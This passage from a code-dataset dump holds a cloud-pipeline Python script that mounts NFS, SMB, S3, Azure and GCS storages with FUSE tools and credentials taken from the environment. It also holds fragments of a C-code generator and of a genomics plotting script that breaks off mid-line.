CodeWithInitialization('{}_tmp'.format(mangled_value), initialization)\n else:\n raise RuntimeError('Not implemented (type: {})!'.format(t))\n","sub_path":"joint-gen/joint/generators/CGenerator.py","file_name":"CGenerator.py","file_ext":"py","file_size_in_byte":8916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"453159930","text":"# Copyright 2017-2021 EPAM Systems, Inc. (https://www.epam.com/)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# CP_S3_FUSE_STAT_CACHE (default: 1m0s)\n# CP_S3_FUSE_TYPE_CACHE (default: 1m0s)\n# CP_S3_FUSE_ENSURE_DISKFREE (default: None)\n# CP_S3_FUSE_TYPE: goofys/s3fs (default: goofys)\n\nimport argparse\nimport os\nfrom abc import ABCMeta, abstractmethod\n\nfrom pipeline import PipelineAPI, Logger, common, DataStorageWithShareMount\n\nREAD_MASK = 1\nWRITE_MASK = 1 << 1\n\nDTS = 'DTS'\nEXEC_ENVIRONMENT = 'EXEC_ENVIRONMENT'\nNFS_TYPE = 'NFS'\nS3_TYPE = 'S3'\nAZ_TYPE = 'AZ'\nGCP_TYPE = 'GS'\nMOUNT_DATA_STORAGES = 'MountDataStorages'\nS3_SCHEME = 's3://'\nAZ_SCHEME = 'az://'\nNFS_SCHEME = 'nfs://'\nGCP_SCHEME = 'gs://'\nFUSE_GOOFYS_ID = 'goofys'\nFUSE_S3FS_ID = 's3fs'\nFUSE_PIPE_ID = 'pipefuse'\nFUSE_GCSFUSE_ID = 'gcsfuse'\nFUSE_NA_ID = None\nAZURE_PROVIDER = 'AZURE'\nS3_PROVIDER = 'S3'\nREAD_ONLY_MOUNT_OPT = 'ro'\nMOUNT_LIMITS_NONE = 'none'\nSENSITIVE_POLICY_PREFERENCE = 'storage.mounts.nfs.sensitive.policy'\n\n\nclass PermissionHelper:\n\n def __init__(self):\n pass\n\n @classmethod\n def is_storage_readable(cls, storage):\n return cls.is_permission_set(storage, READ_MASK)\n\n @classmethod\n def is_storage_writable(cls, storage):\n write_permission_granted = cls.is_permission_set(storage, WRITE_MASK)\n if not cls.is_run_sensitive():\n return write_permission_granted\n if storage.sensitive:\n return write_permission_granted\n else:\n return False\n\n @classmethod\n def is_permission_set(cls, storage, mask):\n return storage.mask & mask == mask\n\n @classmethod\n def is_run_sensitive(cls):\n sensitive_run = os.getenv('CP_SENSITIVE_RUN', \"false\")\n return sensitive_run.lower() == 'true'\n\n\nclass MountStorageTask:\n\n def __init__(self, task):\n self.api = PipelineAPI(os.environ['API'], 'logs')\n self.task_name = task\n available_mounters = [NFSMounter, S3Mounter, AzureMounter, GCPMounter]\n self.mounters = {mounter.type(): mounter for mounter in available_mounters}\n\n def run(self, mount_root, tmp_dir):\n try:\n Logger.info('Starting mounting remote data storages.', task_name=self.task_name)\n\n # use -1 as default in order to don't mount any NFS if CLOUD_REGION_ID is not provided\n cloud_region_id = int(os.getenv('CLOUD_REGION_ID', -1))\n if cloud_region_id == -1:\n Logger.warn('CLOUD_REGION_ID env variable is not provided, no NFS will be mounted, \\\n and no storage will be filtered by mount storage rule of a region', task_name=self.task_name)\n\n Logger.info('Fetching list of allowed storages...', task_name=self.task_name)\n available_storages_with_mounts = self.api.load_available_storages_with_share_mount(cloud_region_id if cloud_region_id != -1 else None)\n # filtering nfs storages in order to fetch only nfs from the same region\n available_storages_with_mounts = [x for x in available_storages_with_mounts if x.storage.storage_type != NFS_TYPE\n or x.file_share_mount.region_id == cloud_region_id]\n\n limited_storages = os.getenv('CP_CAP_LIMIT_MOUNTS')\n if limited_storages:\n try:\n limited_storages_list = [] if limited_storages.lower() == MOUNT_LIMITS_NONE else [int(x.strip()) for x in limited_storages.split(',')]\n available_storages_with_mounts = [x for x in available_storages_with_mounts if x.storage.id in limited_storages_list]\n # append sensitive storages since they are not returned in common mounts\n for storage_id in limited_storages_list:\n storage = self.api.find_datastorage(str(storage_id))\n if storage.sensitive:\n available_storages_with_mounts.append(DataStorageWithShareMount(storage, None))\n Logger.info('Run is launched with mount limits ({}) Only {} storages will be mounted'.format(limited_storages, len(available_storages_with_mounts)), task_name=self.task_name)\n except Exception as limited_storages_ex:\n Logger.warn('Unable to parse CP_CAP_LIMIT_MOUNTS value({}) with error: {}.'.format(limited_storages, str(limited_storages_ex.message)), task_name=self.task_name)\n\n if not available_storages_with_mounts:\n Logger.success('No remote storages are available or CP_CAP_LIMIT_MOUNTS configured to none', task_name=self.task_name)\n return\n Logger.info('Found {} available storage(s). Checking mount options.'.format(len(available_storages_with_mounts)), task_name=self.task_name)\n\n sensitive_policy = self.api.get_preference(SENSITIVE_POLICY_PREFERENCE)['value']\n for mounter in [mounter for mounter in self.mounters.values()]:\n storage_count_by_type = len(filter((lambda dsm: dsm.storage.storage_type == mounter.type()), available_storages_with_mounts))\n if storage_count_by_type > 0:\n mounter.check_or_install(self.task_name, sensitive_policy)\n mounter.init_tmp_dir(tmp_dir, self.task_name)\n\n if all([not mounter.is_available() for mounter in self.mounters.values()]):\n Logger.success('Mounting of remote storages is not available for this image', task_name=self.task_name)\n return\n initialized_mounters = []\n for storage_and_mount in available_storages_with_mounts:\n if not PermissionHelper.is_storage_readable(storage_and_mount.storage):\n continue\n mounter = self.mounters[storage_and_mount.storage.storage_type](self.api, storage_and_mount.storage,\n storage_and_mount.file_share_mount,\n sensitive_policy) \\\n if storage_and_mount.storage.storage_type in self.mounters else None\n if not mounter:\n Logger.warn('Unsupported storage type {}.'.format(storage_and_mount.storage.storage_type), task_name=self.task_name)\n elif mounter.is_available():\n initialized_mounters.append(mounter)\n\n initialized_mounters.sort(key=lambda mnt: mnt.build_mount_point(mount_root))\n for mnt in initialized_mounters:\n try:\n mnt.mount(mount_root, self.task_name)\n except RuntimeError as e:\n Logger.warn(\n 'Data storage {} mounting has failed: {}'.format(mnt.storage.name, e.message),\n task_name=self.task_name)\n Logger.success('Finished data storage mounting', task_name=self.task_name)\n except Exception as e:\n Logger.fail('Unhandled error during mount task: {}.'.format(str(e.message)), task_name=self.task_name)\n\n\nclass StorageMounter:\n\n __metaclass__ = ABCMeta\n _cached_regions = []\n\n def __init__(self, api, storage, share_mount, sensitive_policy):\n self.api = api\n self.storage = storage\n self.share_mount = share_mount\n self.sensitive_policy = sensitive_policy\n\n @staticmethod\n @abstractmethod\n def scheme():\n pass\n\n @staticmethod\n @abstractmethod\n def type():\n pass\n\n @staticmethod\n @abstractmethod\n def check_or_install(task_name, sensitive_policy):\n pass\n\n @staticmethod\n @abstractmethod\n def is_available():\n pass\n\n @staticmethod\n @abstractmethod\n def init_tmp_dir(tmp_dir, task_name):\n pass\n\n @staticmethod\n def execute_and_check_command(command, task_name=MOUNT_DATA_STORAGES):\n install_check, _, stderr = common.execute_cmd_command_and_get_stdout_stderr(command, silent=False)\n if install_check != 0:\n Logger.warn('Installation script {command} failed: \\n {stderr}'.format(command=command, stderr=stderr), task_name=task_name)\n return install_check == 0\n\n @staticmethod\n def create_directory(path, task_name):\n result = common.execute_cmd_command('mkdir -p {path}'.format(path=path), silent=True)\n if result != 0:\n Logger.warn('Failed to create mount directory: {path}'.format(path=path), task_name=task_name)\n return False\n return True\n\n def mount(self, mount_root, task_name):\n mount_point = self.build_mount_point(mount_root)\n if not self.create_directory(mount_point, task_name):\n return\n params = self.build_mount_params(mount_point)\n mount_command = self.build_mount_command(params)\n self.execute_mount(mount_command, params, task_name)\n\n def build_mount_point(self, mount_root):\n mount_point = self.storage.mount_point\n if mount_point is None:\n mount_point = os.path.join(mount_root, self.get_path())\n return mount_point\n\n @abstractmethod\n def build_mount_params(self, mount_point):\n pass\n\n @abstractmethod\n def build_mount_command(self, params):\n pass\n\n @staticmethod\n def execute_mount(command, params, task_name):\n result = common.execute_cmd_command(command, silent=True, executable=\"/bin/bash\")\n if result == 0:\n Logger.info('-->{path} mounted to {mount}'.format(**params), task_name=task_name)\n else:\n Logger.warn('--> Failed mounting {path} to {mount}'.format(**params), task_name=task_name)\n\n def get_path(self):\n return self.storage.path.replace(self.scheme(), '', 1)\n\n def _get_credentials(self, storage):\n return self._get_credentials_by_region_id(storage.region_id)\n\n def _get_credentials_by_region_id(self, region_id):\n account_id = os.getenv('CP_ACCOUNT_ID_{}'.format(region_id))\n account_key = os.getenv('CP_ACCOUNT_KEY_{}'.format(region_id))\n account_region = os.getenv('CP_ACCOUNT_REGION_{}'.format(region_id))\n account_token = os.getenv('CP_ACCOUNT_TOKEN_{}'.format(region_id))\n if not account_id or not account_key or not account_region:\n raise RuntimeError('Account information wasn\\'t found in the environment for account with id={}.'\n .format(region_id))\n return account_id, account_key, account_region, account_token\n\n\nclass AzureMounter(StorageMounter):\n available = False\n fuse_tmp = '/tmp'\n\n @staticmethod\n def scheme():\n return AZ_SCHEME\n\n @staticmethod\n def type():\n return AZ_TYPE\n\n @staticmethod\n def check_or_install(task_name, sensitive_policy):\n AzureMounter.available = StorageMounter.execute_and_check_command('install_azure_fuse_blobfuse', task_name=task_name)\n\n @staticmethod\n def is_available():\n return AzureMounter.available\n\n @staticmethod\n def init_tmp_dir(tmp_dir, task_name):\n fuse_tmp = os.path.join(tmp_dir, \"blobfuse\")\n if StorageMounter.create_directory(fuse_tmp, task_name):\n AzureMounter.fuse_tmp = fuse_tmp\n\n def mount(self, mount_root, task_name):\n self.__resolve_azure_blob_service_url(task_name=task_name)\n super(AzureMounter, self).mount(mount_root, task_name)\n\n def build_mount_params(self, mount_point):\n account_id, account_key, _, _ = self._get_credentials(self.storage)\n return {\n 'mount': mount_point,\n 'path': self.get_path(),\n 'tmp_dir': os.path.join(self.fuse_tmp, str(self.storage.id)),\n 'account_name': account_id,\n 'account_key': account_key,\n 'permissions': 'rw' if PermissionHelper.is_storage_writable(self.storage) else 'ro',\n 'mount_options': self.storage.mount_options if self.storage.mount_options else ''\n }\n\n def build_mount_command(self, params):\n return 'AZURE_STORAGE_ACCOUNT=\"{account_name}\" ' \\\n 'AZURE_STORAGE_ACCESS_KEY=\"{account_key}\" ' \\\n 'blobfuse \"{mount}\" ' \\\n '--container-name=\"{path}\" ' \\\n '--tmp-path=\"{tmp_dir}\" ' \\\n '-o \"{permissions}\" ' \\\n '-o allow_other ' \\\n '{mount_options}'.format(**params)\n\n def __resolve_azure_blob_service_url(self, task_name=MOUNT_DATA_STORAGES):\n # add resolved ip address for azure blob service to /etc/hosts (only once per account_name)\n account_name, _, _, _ = self._get_credentials(self.storage)\n command = 'etc_hosts_clear=\"$(sed -E \\'/.*{account_name}.blob.core.windows.net.*/d\\' /etc/hosts)\" ' \\\n '&& cat > /etc/hosts <<< \"$etc_hosts_clear\" ' \\\n '&& getent hosts {account_name}.blob.core.windows.net >> /etc/hosts'.format(account_name=account_name)\n exit_code, _, stderr = common.execute_cmd_command_and_get_stdout_stderr(command, silent=True)\n if exit_code != 0:\n Logger.warn('Azure BLOB service hostname resolution and writing to /etc/hosts failed: \\n {}'.format(stderr), task_name=task_name)\n\n\nclass S3Mounter(StorageMounter):\n fuse_type = FUSE_NA_ID\n fuse_tmp = '/tmp'\n\n @staticmethod\n def scheme():\n return S3_SCHEME\n\n @staticmethod\n def type():\n return S3_TYPE\n\n @staticmethod\n def check_or_install(task_name, sensitive_policy):\n S3Mounter.fuse_type = S3Mounter._check_or_install(task_name)\n\n @staticmethod\n def _check_or_install(task_name):\n fuse_type = os.getenv('CP_S3_FUSE_TYPE', FUSE_GOOFYS_ID)\n if fuse_type == FUSE_GOOFYS_ID:\n fuse_installed = StorageMounter.execute_and_check_command('install_s3_fuse_goofys', task_name=task_name)\n return FUSE_GOOFYS_ID if fuse_installed else FUSE_NA_ID\n elif fuse_type == FUSE_S3FS_ID:\n fuse_installed = StorageMounter.execute_and_check_command('install_s3_fuse_s3fs', task_name=task_name)\n if fuse_installed:\n return FUSE_S3FS_ID\n else:\n Logger.warn(\n \"FUSE {fuse_type} was preferred, but failed to install, will try to setup default goofys\".format(\n fuse_type=fuse_type),\n task_name=task_name)\n fuse_installed = StorageMounter.execute_and_check_command('install_s3_fuse_goofys', task_name=task_name)\n return FUSE_GOOFYS_ID if fuse_installed else FUSE_NA_ID\n elif fuse_type == FUSE_PIPE_ID:\n return FUSE_PIPE_ID\n else:\n Logger.warn(\"FUSE {fuse_type} type is not defined for S3 fuse\".format(fuse_type=fuse_type),\n task_name=task_name)\n return FUSE_NA_ID\n\n @staticmethod\n def is_available():\n return S3Mounter.fuse_type is not None\n\n @staticmethod\n def init_tmp_dir(tmp_dir, task_name):\n fuse_tmp = os.path.join(tmp_dir, \"s3fuse\")\n if StorageMounter.create_directory(fuse_tmp, task_name):\n S3Mounter.fuse_tmp = fuse_tmp\n\n def build_mount_params(self, mount_point):\n mask = '0774'\n permissions = 'rw'\n stat_cache = os.getenv('CP_S3_FUSE_STAT_CACHE', '1m0s')\n type_cache = os.getenv('CP_S3_FUSE_TYPE_CACHE', '1m0s')\n mount_timeout = os.getenv('CP_PIPE_FUSE_TIMEOUT', 500)\n aws_key_id, aws_secret, region_name, session_token = self._get_credentials(self.storage)\n path_chunks = self.storage.path.split('/')\n bucket = path_chunks[0]\n relative_path = '/'.join(path_chunks[1:]) if len(path_chunks) > 1 else ''\n if not PermissionHelper.is_storage_writable(self.storage):\n mask = '0554'\n permissions = 'ro'\n return {'mount': mount_point,\n 'storage_id': str(self.storage.id),\n 'path': self.get_path(),\n 'mask': mask,\n 'permissions': permissions,\n 'region_name': region_name,\n 'stat_cache': stat_cache,\n 'type_cache': type_cache,\n 'fuse_type': self.fuse_type,\n 'aws_key_id': aws_key_id,\n 'aws_secret': aws_secret,\n 'aws_token': session_token,\n 'tmp_dir': self.fuse_tmp,\n 'bucket': bucket,\n 'relative_path': relative_path,\n 'mount_timeout': mount_timeout\n }\n\n def build_mount_command(self, params):\n if params['aws_token'] is not None or params['fuse_type'] == FUSE_PIPE_ID:\n persist_logs = os.getenv('CP_PIPE_FUSE_PERSIST_LOGS', 'false').lower() == 'true'\n debug_libfuse = os.getenv('CP_PIPE_FUSE_DEBUG_LIBFUSE', 'false').lower() == 'true'\n logging_level = os.getenv('CP_PIPE_FUSE_LOGGING_LEVEL')\n if logging_level:\n params['logging_level'] = logging_level\n return ('pipe storage mount {mount} -b {path} -t --mode 775 -w {mount_timeout} '\n + ('-l /var/log/fuse_{storage_id}.log ' if persist_logs else '')\n + ('-v {logging_level} ' if logging_level else '')\n + ('-o allow_other,debug ' if debug_libfuse else '-o allow_other ')\n ).format(**params)\n elif params['fuse_type'] == FUSE_GOOFYS_ID:\n params['path'] = '{bucket}:{relative_path}'.format(**params) if params['relative_path'] else params['path']\n return 'AWS_ACCESS_KEY_ID={aws_key_id} AWS_SECRET_ACCESS_KEY={aws_secret} nohup goofys ' \\\n '--dir-mode {mask} --file-mode {mask} -o {permissions} -o allow_other ' \\\n '--stat-cache-ttl {stat_cache} --type-cache-ttl {type_cache} ' \\\n '--acl \"bucket-owner-full-control\" ' \\\n '-f --gid 0 --region \"{region_name}\" {path} {mount} > /var/log/fuse_{storage_id}.log 2>&1 &'.format(**params)\n elif params['fuse_type'] == FUSE_S3FS_ID:\n params['path'] = '{bucket}:/{relative_path}'.format(**params) if params['relative_path'] else params['path']\n ensure_diskfree_size = os.getenv('CP_S3_FUSE_ENSURE_DISKFREE')\n params[\"ensure_diskfree_option\"] = \"\" if ensure_diskfree_size is None else \"-o ensure_diskfree=\" + ensure_diskfree_size\n return 'AWSACCESSKEYID={aws_key_id} AWSSECRETACCESSKEY={aws_secret} s3fs {path} {mount} -o use_cache={tmp_dir} ' \\\n '-o umask=0000 -o {permissions} -o allow_other -o enable_noobj_cache ' \\\n '-o endpoint=\"{region_name}\" -o url=\"https://s3.{region_name}.amazonaws.com\" {ensure_diskfree_option} ' \\\n '-o default_acl=\"bucket-owner-full-control\" ' \\\n '-o dbglevel=\"info\" -f > /var/log/fuse_{storage_id}.log 2>&1 &'.format(**params)\n else:\n return 'exit 1'\n\n\nclass GCPMounter(StorageMounter):\n credentials = None\n fuse_type = FUSE_NA_ID\n fuse_tmp = '/tmp'\n\n @staticmethod\n def scheme():\n return GCP_SCHEME\n\n @staticmethod\n def type():\n return GCP_TYPE\n\n @staticmethod\n def check_or_install(task_name, sensitive_policy):\n GCPMounter.fuse_type = GCPMounter._check_or_install(task_name)\n\n @staticmethod\n def _check_or_install(task_name):\n fuse_type = os.getenv('CP_GCS_FUSE_TYPE', FUSE_GCSFUSE_ID)\n if fuse_type == FUSE_GCSFUSE_ID:\n fuse_installed = StorageMounter.execute_and_check_command('install_gcsfuse', task_name=task_name)\n return FUSE_GCSFUSE_ID if fuse_installed else FUSE_NA_ID\n elif fuse_type == FUSE_PIPE_ID:\n return FUSE_PIPE_ID\n else:\n Logger.warn(\"FUSE {fuse_type} type is not defined for GSC fuse\".format(fuse_type=fuse_type),\n task_name=task_name)\n return FUSE_NA_ID\n\n @staticmethod\n def is_available():\n return GCPMounter.fuse_type is not None\n\n @staticmethod\n def init_tmp_dir(tmp_dir, task_name):\n fuse_tmp = os.path.join(tmp_dir, \"gcsfuse\")\n if StorageMounter.create_directory(fuse_tmp, task_name):\n GCPMounter.fuse_tmp = fuse_tmp\n\n def mount(self, mount_root, task_name):\n super(GCPMounter, self).mount(mount_root, task_name)\n\n def build_mount_params(self, mount_point):\n mount_timeout = os.getenv('CP_PIPE_FUSE_TIMEOUT', 500)\n gcp_creds_content, _ = self._get_credentials(self.storage)\n if gcp_creds_content:\n creds_named_pipe_path = \"<(echo \\'{gcp_creds_content}\\')\".format(gcp_creds_content=gcp_creds_content)\n else:\n creds_named_pipe_path = None\n mask = '0774'\n permissions = 'rw'\n if not PermissionHelper.is_storage_writable(self.storage):\n mask = '0554'\n permissions = 'ro'\n return {'mount': mount_point,\n 'storage_id': str(self.storage.id),\n 'path': self.get_path(),\n 'mask': mask,\n 'permissions': permissions,\n 'fuse_type': self.fuse_type,\n 'tmp_dir': self.fuse_tmp,\n 'credentials': creds_named_pipe_path,\n 'mount_timeout': mount_timeout\n }\n\n def build_mount_command(self, params):\n if not params['credentials'] or params['fuse_type'] == FUSE_PIPE_ID:\n persist_logs = os.getenv('CP_PIPE_FUSE_PERSIST_LOGS', 'false').lower() == 'true'\n debug_libfuse = os.getenv('CP_PIPE_FUSE_DEBUG_LIBFUSE', 'false').lower() == 'true'\n logging_level = os.getenv('CP_PIPE_FUSE_LOGGING_LEVEL')\n if logging_level:\n params['logging_level'] = logging_level\n return ('pipe storage mount {mount} -b {path} -t --mode 775 -w {mount_timeout} '\n + ('-l /var/log/fuse_{storage_id}.log ' if persist_logs else '')\n + ('-v {logging_level} ' if logging_level else '')\n + ('-o allow_other,debug ' if debug_libfuse else '-o allow_other ')\n ).format(**params)\n else:\n return 'nohup gcsfuse --foreground -o {permissions} -o allow_other --key-file {credentials} --temp-dir {tmp_dir} ' \\\n '--dir-mode {mask} --file-mode {mask} --implicit-dirs {path} {mount} > /var/log/fuse_{storage_id}.log 2>&1 &'.format(**params)\n\n def _get_credentials(self, storage):\n account_region = os.getenv('CP_ACCOUNT_REGION_{}'.format(storage.region_id))\n account_cred_file_content = os.getenv('CP_CREDENTIALS_FILE_CONTENT_{}'.format(storage.region_id))\n if not account_region:\n raise RuntimeError('Account information wasn\\'t found in the environment for account with id={}.'\n .format(storage.region_id))\n return account_cred_file_content, account_region\n\n\nclass NFSMounter(StorageMounter):\n available = False\n\n @staticmethod\n def scheme():\n return NFS_SCHEME\n\n @staticmethod\n def type():\n return NFS_TYPE\n\n @staticmethod\n def check_or_install(task_name, sensitive_policy):\n NFSMounter.available = False if PermissionHelper.is_run_sensitive() and sensitive_policy == \"SKIP\" \\\n else StorageMounter.execute_and_check_command('install_nfs_client', task_name=task_name)\n\n @staticmethod\n def init_tmp_dir(tmp_dir, task_name):\n pass\n\n @staticmethod\n def is_available():\n return NFSMounter.available\n\n def build_mount_point(self, mount_root):\n mount_point = self.storage.mount_point\n if mount_point is None:\n # NFS path will look like srv:/some/path. Remove the first ':' from it\n mount_point = os.path.join(mount_root, self.get_path().replace(':', '', 1))\n return mount_point\n\n def build_mount_params(self, mount_point):\n return {'mount': mount_point,\n 'path': self.get_path()}\n\n def build_mount_command(self, params):\n command = 'mount -t {protocol}'\n\n mount_options = self.storage.mount_options if self.storage.mount_options else self.share_mount.mount_options\n\n region_id = str(self.share_mount.region_id) if self.share_mount.region_id is not None else \"\"\n if os.getenv(\"CP_CLOUD_PROVIDER_\" + region_id) == \"AZURE\" and self.share_mount.mount_type == \"SMB\":\n az_acc_id, az_acc_key, _, _ = self._get_credentials_by_region_id(region_id)\n creds_options = \",\".join([\"username=\" + az_acc_id, \"password=\" + az_acc_key])\n\n if mount_options:\n mount_options += \",\" + creds_options\n else:\n mount_options = creds_options\n\n if self.share_mount.mount_type == \"SMB\":\n command = command.format(protocol=\"cifs\")\n if not params['path'].startswith(\"//\"):\n params['path'] = '//' + params['path']\n elif self.share_mount.mount_type == \"LUSTRE\":\n command = command.format(protocol=\"lustre\")\n else:\n command = command.format(protocol=\"nfs\")\n\n permission = 'g+rwx'\n mask = '0774'\n if not PermissionHelper.is_storage_writable(self.storage):\n permission = 'g+rx'\n mask = '0554'\n if not mount_options:\n mount_options = READ_ONLY_MOUNT_OPT\n else:\n options = mount_options.split(',')\n if READ_ONLY_MOUNT_OPT not in options:\n mount_options += ',{0}'.format(READ_ONLY_MOUNT_OPT)\n if self.share_mount.mount_type == \"SMB\":\n file_mode_options = 'file_mode={mode},dir_mode={mode}'.format(mode=mask)\n if not mount_options:\n mount_options = file_mode_options\n else:\n mount_options += ',' + file_mode_options\n mount_options = self.append_timeout_options(mount_options)\n if mount_options:\n command += ' -o {}'.format(mount_options)\n command += ' {path} {mount}'.format(**params)\n if PermissionHelper.is_storage_writable(self.storage):\n command += ' && chmod {permission} {mount}'.format(permission=permission, **params)\n return command\n\n def append_timeout_options(self, mount_options):\n if self.share_mount.mount_type == 'SMB' or not PermissionHelper.is_run_sensitive() \\\n or self.sensitive_policy != \"TIMEOUT\":\n return mount_options\n if not mount_options or 'retry' not in mount_options:\n mount_retry = os.getenv('CP_FS_MOUNT_ATTEMPT', 0)\n retry_option = 'retry={}'.format(mount_retry)\n mount_options = retry_option if not mount_options else mount_options + ',' + retry_option\n if self.share_mount.mount_type == 'LUSTRE':\n return mount_options\n if not mount_options or 'timeo' not in mount_options:\n mount_timeo = os.getenv('CP_FS_MOUNT_TIMEOUT', 7)\n timeo_option = 'timeo={}'.format(mount_timeo)\n mount_options = timeo_option if not mount_options else mount_options + ',' + timeo_option\n return mount_options\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--mount-root', required=True)\n parser.add_argument('--tmp-dir', required=True)\n parser.add_argument('--task', required=False, default=MOUNT_DATA_STORAGES)\n args = parser.parse_args()\n if EXEC_ENVIRONMENT in os.environ and os.environ[EXEC_ENVIRONMENT] == DTS:\n Logger.success('Skipping cloud storage mount for execution environment %s' % DTS, task_name=args.task)\n return\n MountStorageTask(args.task).run(args.mount_root, args.tmp_dir)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"workflows/pipe-common/scripts/mount_storage.py","file_name":"mount_storage.py","file_ext":"py","file_size_in_byte":28245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"603093091","text":"# import matplotlib\n# matplotlib.use('Agg')\nfrom robocop.utils import visualization\nfrom robocop import get_posterior_binding_probability_df\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport pandas as pd\nimport numpy as np\nimport sys\nimport re\nimport pickle\nimport random\nimport glob\nimport h5py\nimport os\nimport configparser\nfrom robocop.utils.plotMNaseMidpoints import plotMidpointsAx\nrandom.seed(9)\n\ndef get_idx(chrm, start, end, coords):\n coords = coords[(coords['chr'] == chrm) & (start <= coords['end']) & (end >= coords['start'])]\n return list(coords.index)\n\ndef calc_posterior(allinfofiles, dshared, coords, chrm, start, end):\n idxs = get_idx(chrm, start, end, coords)\n ptable = np.zeros((end - start + 1, dshared['n_states']))\n longCounts = np.zeros(end - start + 1)\n shortCounts = np.zeros(end - start + 1)\n counts = np.zeros(end - start + 1)\n for infofile in allinfofiles:\n for i in range(len(idxs)):\n idx = idxs[i]\n f = h5py.File(infofile, mode = 'r')\n k = 'segment_' + str(idx)\n if k not in f.keys():\n f.close()\n continue\n dshared['info_file'] = f\n dp = f[k + '/posterior'][:]\n lc = f[k + '/MNase_long'][:]\n sc = f[k + '/MNase_short'][:]\n f.close()\n dp_start = max(0, start - coords.loc[idx]['start'])\n dp_end = min(end - coords.loc[idx]['start'] + 1, coords.loc[idx]['end'] - coords.loc[idx]['start'] + 1)\n ptable_start = max(0, coords.loc[idx]['start'] - start)\n ptable_end = ptable_start + dp_end - dp_start\n ptable[ptable_start : ptable_end] += dp[dp_start : dp_end, :] \n longCounts[ptable_start : ptable_end] += lc[dp_start : dp_end]\n shortCounts[ptable_start : ptable_end] += sc[dp_start : dp_end]\n counts[ptable_start : ptable_end] += 1 \n\n if counts[counts > 0].shape != counts.shape:\n print(\"ERROR: Invalid coordinates \" + chrm + \":\" + str(start) + \"-\" + str(end))\n print(\"Valid coordinates can be found at \" + outDir + \"coords.tsv\")\n exit(0)\n ptable = ptable / counts[:, np.newaxis]\n longCounts = longCounts / counts\n shortCounts = shortCounts / counts\n optable = get_posterior_binding_probability_df(dshared, ptable)\n return optable, longCounts, shortCounts\n \ndef colorMap(outDir):\n if os.path.isfile(outDir + 'dbf_color_map.pkl'):\n dbf_color_map = pickle.load(open(outDir + \"dbf_color_map.pkl\", \"rb\"))\n return dbf_color_map\n\n print(\"Color map is not defined. Generating color map...\")\n pwm = pickle.load(open(outDir + 'pwm.p', \"rb\"))\n predefined_dbfs = list(pwm.keys())\n # get upper case\n predefined_dbfs = [x for x in predefined_dbfs if x != \"unknown\"]\n predefined_dbfs = list(set([(x.split(\"_\")[0]).upper() for x in predefined_dbfs]))\n n_tfs = len(predefined_dbfs)\n colorset48 = [(random.random(), random.random(), random.random(), 1.0) for i in range(n_tfs)] \n nucleosome_color = '0.7'\n \n dbf_color_map = dict(list(zip(predefined_dbfs, colorset48)))\n dbf_color_map['nucleosome'] = nucleosome_color\n dbf_color_map['unknown'] = '#D3D3D3'\n\n pickle.dump(dbf_color_map, open(outDir + \"dbf_color_map.pkl\", \"wb\"))\n print(\"Color map saved as\", outDir + \"dbf_color_map.pkl\")\n return dbf_color_map\n\n\ndef plotRegion(gtffile, chrm, start, end, ax):\n a = pd.read_csv(gtffile, sep = \"\\t\", header = None, comment = '#')\n a = a[(a[0] == chrm[3:]) & (a[3] <= end) & (a[4] >= start)]\n transcripts = {}\n # ax = plt.gca()\n for i, r in a.iterrows():\n if r[2] == 'transcript':\n if r[6] == '+':\n ax.add_patch(patches.Rectangle((r[3], 0.4), r[4] - r[3] + 1, 0.3, color = 'skyblue'))\n else:\n ax.add_patch(patches.Rectangle((r[3], -0.7), r[4] - r[3] + 1, 0.3, color = 'lightcoral'))\n gene_splits = dict([(g.split()[0], g.split()[1][1:-1]) for g in r[8][:-1].split(';')])\n gene = gene_splits['gene_name'] if 'gene_name' in gene_splits else gene_splits['gene_id']\n if gene not in transcripts:\n transcripts[gene] = (r[3], r[4], r[6])\n else:\n transcripts[gene] = (min(r[3], transcripts[gene][0]), max(r[4], transcripts[gene][1]), r[6])\n elif r[2] == 'exon': \n if r[6] == '+':\n ax.add_patch(patches.Rectangle((r[3], 0.1), r[4] - r[3] + 1, 0.9, color = 'skyblue'))\n else:\n ax.add_patch(patches.Rectangle((r[3], -1), r[4] - r[3] + 1, 0.9, color = 'lightcoral'))\n gene_splits = dict([(g.split()[0], g.split()[1][1:-1]) for g in r[8][:-1].split(';')])\n gene = gene_splits['gene_name'] if 'gene_name' in gene_splits else gene_splits['gene_id']\n \n for t in transcripts:\n if transcripts[t][2] == '+':\n if transcripts[t][0] + 10 < start:\n ax.text(start, 1.2, t, fontsize = 12)\n else:\n ax.text(transcripts[t][0] + 10, 1.2, t, fontsize = 12)\n else:\n if transcripts[t][0] + 10 < start:\n ax.text(start, -2, t, fontsize = 12)\n else:\n ax.text(transcripts[t][0] + 10, -2, t, fontsize = 12)\n\n ax.set_xlim((start, end))\n ax.set_ylim((-1.9, 1.9))\n ax.set_xticks([])\n ax.set_yticks([])\n ax.axis('off')\n\ndef plotOutput(outDir, config, dbf_color_map, optable, chrm, start, end, tech, longCounts, shortCounts, save = True, gtffile = None):\n\n \n fragRangeLong = tuple([int(x) for x in re.findall(r'\\d+', config.get(\"main\", \"fragRangeLong\"))])\n fragRangeShort = tuple([int(x) for x in re.findall(r'\\d+', config.get(\"main\", \"fragRangeShort\"))])\n \n offset = 4 if tech == \"ATAC\" else 0\n if gtffile is not None:\n fig, ax = plt.subplots(4, 1, figsize = (19, 8), gridspec_kw = {'height_ratios': [0.3, 1, 0.5, 1]})\n isgtf = 1\n else:\n fig, ax = plt.subplots(3, 1, figsize = (19, 7))\n isgtf = 0\n\n ax[1 + isgtf].plot(list(range(start - 1, end)), longCounts, color = 'maroon')\n ax[1 + isgtf].plot(list(range(start - 1, end)), shortCounts, color = 'blue')\n \n bamFile = config.get(\"main\", \"bamFile\")\n shortCounts, longCounts = plotMidpointsAx(ax[0 + isgtf], bamFile, chrm, start, end, fragRangeShort, fragRangeLong, offset = 